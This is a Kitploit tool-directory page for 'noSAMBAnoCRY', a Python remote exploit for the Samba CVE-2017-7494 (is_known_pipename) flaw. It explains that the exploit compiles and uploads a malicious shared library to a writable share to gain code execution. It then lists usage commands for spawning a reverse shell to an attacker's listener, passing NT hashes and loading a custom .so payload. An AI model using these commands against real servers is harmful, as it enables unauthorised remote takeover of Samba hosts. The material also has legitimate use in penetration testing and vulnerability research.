Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
noSAMBAnoCRY-CVE-2017-7494 — CVE-2017-7494 python exploit | Kitploit
Tools/GitHubGitHub/0xm4ud/nosambanocry-cve-2017-7494
Payload GenerationVulnerability AnalysisExploitationShellcodePenetration TestingRemote Access Tool
GitHub0xm4ud/nosambanocry-cve-2017-7494

noSAMBAnoCRY-CVE-2017-7494

CVE-2017-7494 python exploit

View Repository
615 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

noSAMBAnoCRY CVE-2017-7494

Remote exploit for the SAMBA CVE-2017-7494 vulnerability aka is_know_pipename!

Details

This exploit is divided in 3 parts:

  • Compiles the evilLib in following archs: x86_64 , x86, or i686
  • Finds a writeable share and uploads evilLib to it!
  • Loads evilLib, if everything goes right, RCE!

As long as the target is vulnerable and the payload is correct for the target operating system and architecture, the exploit is quite reliable.

How to

Run the exploit against your target and wait until shell spawns:

root@kitploit:~
$ python noSAMBAnoCRY.py -r RHOST
root@kitploit:~
$ python noSAMBAnoCRY.py -r RHOST -u userTest -P 123 --lhost RevShellIP --lport RevShellPort 

For samba version 3.5.0 > 3.6.0, you just need add the argument -o 1

root@kitploit:~
python noSAMBAnoCRY.py -r RHOST --lhost LHOST --lport LPORT -o 1

Run your own custom .so

root@kitploit:~
$ python noSAMBAnoCRY.py -r RHOST -u userTest --hashes 00000000000000000000000000000000:3DBDE697D71690A769204BEB12283678 -c cp.so

For custom samba port use the argument -p

root@kitploit:~
$ python noSAMBAnoCRY.py -t RHOST -p 4450 -u userTest -P 123 --rhost shell_ip --rport shell_port
Download Tool

In case you bump into smbpasswd hashes and cannot crack them, You can now pass-the-hash using the argument --hashes=LM:NT

root@kitploit:~
$ python noSAMBAnoCRY.py -r RHOST -u userTest --hashes=00000000000000000000000000000000:3DBDE697D71690A769204BEB12283678 --lhost RevShellIP

Disclaimer

This repo is inspired from repo: joxeankoret/exploit-CVE-2017-7494 and Archivaldo